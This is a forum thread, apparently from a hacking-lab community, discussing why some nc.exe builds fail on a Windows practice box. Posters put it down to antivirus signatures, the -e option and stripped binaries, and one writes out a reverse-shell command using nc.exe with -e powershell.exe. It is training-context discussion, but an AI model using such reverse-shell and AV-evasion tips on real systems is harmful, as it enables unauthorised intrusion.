I guess I’m trying not to have any spoilers here for still active boxes, so apologies if this is too vague or lacks enough detail.
So I’ve been doing a windows box that came out relatively recently, and, having got a shell that I wanted to upgrade, I decided to upload nc.exe onto the box(A version that has always worked for me). I did this, and found that the file would not execute… at least, it appeared that nothing happened when executed. I also uploaded a different program as exe, which then DID work. This immediately contradicted my theory that AV was blocking me from running exe files. So I tried a couple more different ‘versions’ of nc.exe I had lying around (from different sources), and then one of them just worked. I don’t know what the difference is between these executables, but I would absolutely love to know (I’m pretty certain it wasn’t an x86 vs x64 issue, as I was using the right version for the box, and actually had tried both to no avail…). If someone has any info on this, it would be much appreciated. I have yet to examine the files closely, as I am not quite sure how to go about that yet. Thanks for reading.
EDIT: I know that msfvenom can generate shellcode using an encoder to attempt AV evasion. Is it possible then that these exe files have been somehow compiled using a related technique? This is my uneducated theory
I guess I’m trying not to have any spoilers here for still active boxes, so apologies if this is too vague or lacks enough detail.
So I’ve been doing a windows box that came out relatively recently, and, having got a shell that I wanted to upgrade, I decided to upload nc.exe onto the box. I did this, and found that the file would not execute… at least, it appeared that nothing happened when executed. I also uploaded a different program as exe, which then DID work. This immediately contradicted my theory that AV was blocking me from running exe files. So I tried a couple more different ‘versions’ of nc.exe I had lying around (from different sources), and then one of them just worked. I don’t know what the difference is between these executables, but I would absolutely love to know. If someone has any info on this, it would be much appreciated. I have yet to examine the files closely, as I am not quite sure how to go about that yet. Thanks for reading.
I never tested this, as the first version I used just worked and I only became aware that a problem existed from the forums.
At a GUESS, I’d say that it is likely to be:
Signature based AV on the machine has the hashes for some but not all of the versions you tried. Try md5sum on all the versions you have and see if they differ.
Some versions are broken
Other people were messing with things the same time as you were and it caused problems and, by chance, they stopped the same time you tested a version.
If you are curious, it’s worth trying some tests:
Upload one version which previously failed, try it and then try the version which worked, then try a different version which failed. If the same ones consistently fail, then you can eliminate option 3.
Run file against all the versions you have to see if they are still intact
use powershell to check the MD5s of the files you’ve uploaded to make sure they didn’t break in transit.
Didn’t test it to the full extend, because there are just so many nc’s, but a while back I spend about a day a seeing what gets caught by windows defender and what not.
From what I can tell: defender doesn’t like the nc to have the -e flag (the flag that allows you to tie bash/cmd to the nc session).
So if you have a version without that flag, you’re a lot less likely to be flagged as dangerous, but you should still be able to produce a bind shell with (probably in the mean time famous) nc command that doesn’t require the -e argument.
Given those many flavors nc, makes the advice of @TazWake still very valid: from what I read, AV’s use smaller identifier a that I expected, so even though the big pattern I saw had a lot to do with that -e argument being available in the executable or not, you may still find some oddball flavor of nc that just passes the AV, even if it has the -e argument.
If you do further tests and find your conclusive answer, I’d be happy to hear about it.
Yeah, those are the dangers of speaking in half truths on my part. Think I tried about 3 versions back then and a host of other things to make bind shells. Will depend even more date of the virus definitions in the AV.
Bottom line: that sample I did is just not big enough to draw a decent conclusion when you factor in all the possible variants.
One less theory I need to hold on to then
@gnothiseauton I dont think you were speaking half truths, it was the information you’d established from experimentation against a theory! That is vital.
I think the deeper issue is that there are so many variables here it is hard for any one-person to be 100% sure. As I said, I genuinely didn’t even realise there could be a problem until people mentioned it in the forums. When I did it, it “just worked.”
I’d like to think that if it is AV, the version of nc in a default Kali 2019 build would be in the signatures before they added ones from github pages - but who knows…
A couple of people who have DM’d me about this have used upload techniques which are guaranteed to break the file, but I dont think that’s the case here.
Didn’t test it to the full extend, because there are just so many nc’s, but a while back I spend about a day a seeing what gets caught by windows defender and what not.
From what I can tell: defender doesn’t like the nc to have the -e flag (the flag that allows you to tie bash/cmd to the nc session).
So if you have a version without that flag, you’re a lot less likely to be flagged as dangerous, but you should still be able to produce a bind shell with (probably in the mean time famous) nc command that doesn’t require the -e argument.
Given those many flavors nc, makes the advice of @TazWake still very valid: from what I read, AV’s use smaller identifier a that I expected, so even though the big pattern I saw had a lot to do with that -e argument being available in the executable or not, you may still find some oddball flavor of nc that just passes the AV, even if it has the -e argument.
If you do further tests and find your conclusive answer, I’d be happy to hear about it.
So, just to muddy the water here, on the box I think we are talking about, I got a reverse shell with nc.exe IP PORT -e powershell.exe
I used the one in Kali’s windows-binaries folder.
Yes, this is the one that eventually worked for me. I hadn’t originally known these binaries came with kali, and had some other nc(64).exe’s. It also lets me get a reverse powershell on the box in question.
Yes, this is the one that eventually worked for me. I hadn’t originally known these binaries came with kali, and had some other nc(64).exe’s. It also lets me get a reverse powershell on the box in question.
Awesome learning something new is a definite win. Just to be clear on terms, though, it’s the remote box which allows the powershell. If you use it on a windows box that (somehow) doesn’t have powershell it wouldn’t have worked and you’d need to use -e cmd . exe for a less powerful shell.
Without knowing the exact krux of the topic, I went recently through a dozen of netcats to find a version that’s reliable when it comes to older boxes and 32bit.
I found that they differ a lot indeed, and I’m only talking about versions that include the -e option.
Big difference is the file size
Of course there are 32bit and 64bit versions, although 32bit should run on a 64bit system.
Doing a “file” on them I found couple are stripped binaries, not sure if that’s true for all of them and could be the cause of AV detection, meaning the unstripped ones.
To your 3rd point
Yeah, the one that worked for me is seemingly unstripped(the nc.exe shipped with kali):
PE32 executable (console) Intel 80386, for MS Windows
Whereas two others I just checked, that don’t work are both stripped:
PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
Yes, this is the one that eventually worked for me. I hadn’t originally known these binaries came with kali, and had some other nc(64).exe’s. It also lets me get a reverse powershell on the box in question.
Awesome learning something new is a definite win. Just to be clear on terms, though, it’s the remote box which allows the powershell. If you use it on a windows box that (somehow) doesn’t have powershell it wouldn’t have worked and you’d need to use -e cmd . exe for a less powerful shell.
